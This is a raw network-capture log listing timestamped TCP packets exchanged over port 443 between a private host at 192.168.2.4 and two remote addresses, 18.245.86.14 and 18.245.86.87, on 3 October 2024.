Oct 3, 2024 10:41:59.400449038 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.401498079 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.401737928 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.401757956 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.401918888 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.401946068 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.402266979 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.403002977 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.403064966 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.407825947 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.410398006 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.420061111 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.420180082 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.420377970 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.420519114 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.420625925 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.420641899 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.420859098 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.420883894 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.421113014 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.421188116 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.421214104 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.422034025 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.422086000 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.422110081 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.422421932 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.422489882 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.422840118 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.423093081 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.423100948 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.423105955 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.423201084 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.423599005 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.423954010 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.423981905 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.425038099 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.425102949 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.425359964 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.425421953 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.425482035 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.425491095 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.427809954 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.432971001 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.433229923 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.433273077 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.434340000 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.434411049 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.434741020 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.434803963 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.434901953 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.439263105 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.452193022 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.463429928 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.467406034 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.475435972 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.475825071 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.475852966 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.476072073 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.476073027 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.476083994 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.476124048 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.484673977 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.488012075 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.488018990 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.488451004 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.488457918 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.489783049 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.489954948 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.490484953 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.490571022 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.490950108 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.490955114 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.492556095 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.492641926 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.493941069 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.494146109 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.494220018 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.531856060 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.532551050 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.535819054 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.535826921 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.580071926 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.606468916 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.616399050 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.616411924 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.616453886 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.616481066 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.616522074 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.616564035 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.616605043 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.640223026 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.650167942 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.650213003 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.650233984 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.650252104 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.650264978 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.650264978 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.650285006 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.650310993 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.650317907 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.650331974 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.650374889 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.670826912 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.673501968 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.723850965 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.723869085 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.723898888 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.723917961 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.770853043 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.770891905 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.888542891 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.888556957 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.888600111 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.888617039 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.888633966 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.888689041 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.888714075 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.888725042 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.888736010 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.888767958 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.888814926 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.889286041 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.889321089 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.889329910 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.889348030 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.889355898 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.889375925 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.889377117 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.889393091 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.889415979 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.889441013 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.890248060 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.890264034 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.890316963 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.890338898 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.890384912 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.891182899 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.891244888 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.893186092 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893234968 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893255949 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893296003 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893309116 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893322945 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.893328905 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893351078 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893368959 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.893389940 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.893416882 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.893723011 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.893738031 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.893764973 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.893780947 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.893795013 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.893795013 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.893796921 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.893815994 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.893821955 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.893831015 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.893872976 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.893872976 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.893877029 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893910885 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893929005 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893937111 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.893963099 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.893965960 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.893986940 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.894006968 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.894011021 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.894030094 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.894035101 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.894937992 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.895179033 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.895191908 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.895220995 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.895246983 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.895276070 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.895282984 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.895426035 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.895639896 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.895709991 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.895754099 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.895770073 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.895772934 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.895803928 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.895821095 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.895827055 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.895853996 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.895870924 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.896362066 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896372080 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896390915 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896400928 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896408081 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896423101 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.896434069 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896450996 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896465063 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896485090 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.896493912 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896492958 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.896502972 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.896550894 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.896578074 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.896579027 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.896605015 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.897313118 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.897325993 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.897351027 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.897361994 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.897370100 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.897380114 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.897387981 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.897398949 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.897418976 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.897437096 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.898144960 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.898170948 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.898188114 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.898226976 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.898231983 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.898245096 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.898255110 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.898276091 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.898291111 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.898300886 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.898315907 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.898341894 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.899068117 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.899095058 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.899107933 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.899132967 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.899139881 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.899153948 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.899168968 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.899175882 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.899180889 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.899241924 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.899245024 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.899245024 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.900069952 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.900089979 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.900130033 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.900135994 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.900162935 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.900181055 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.900202036 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.900255919 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.900309086 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.901109934 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.901154995 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.901228905 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.901237965 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.901249886 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.901279926 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.901334047 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.902174950 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.902218103 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.902251959 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.902275085 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.902293921 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.902626038 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.902645111 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.902683020 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.902698994 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.902719975 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.902726889 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.902754068 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.902781010 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.903800964 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.903803110 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.903815031 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.903824091 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.903870106 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.903883934 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.903914928 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.903927088 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.903945923 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.903958082 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.903995991 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:59.904026031 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.904026031 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.904115915 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.904145956 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.904172897 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.904179096 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.904187918 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.904198885 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.904217958 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.904228926 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.904273987 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.904284954 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.904344082 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.904386044 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905129910 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905149937 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905189037 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905194998 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905224085 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905241966 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905735016 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905746937 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905778885 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905805111 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905806065 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905817986 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905829906 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905833006 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905864954 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905867100 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905872107 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.905905962 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905906916 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905939102 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.905940056 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.906004906 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.907377005 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.907419920 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.907479048 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.907484055 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.907514095 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.907519102 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.907556057 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.909609079 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.909681082 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.909775019 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.245572090 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.245605946 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.247500896 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.247544050 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.248297930 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.248317003 CEST	443	50192	18.245.86.14	192.168.2.4
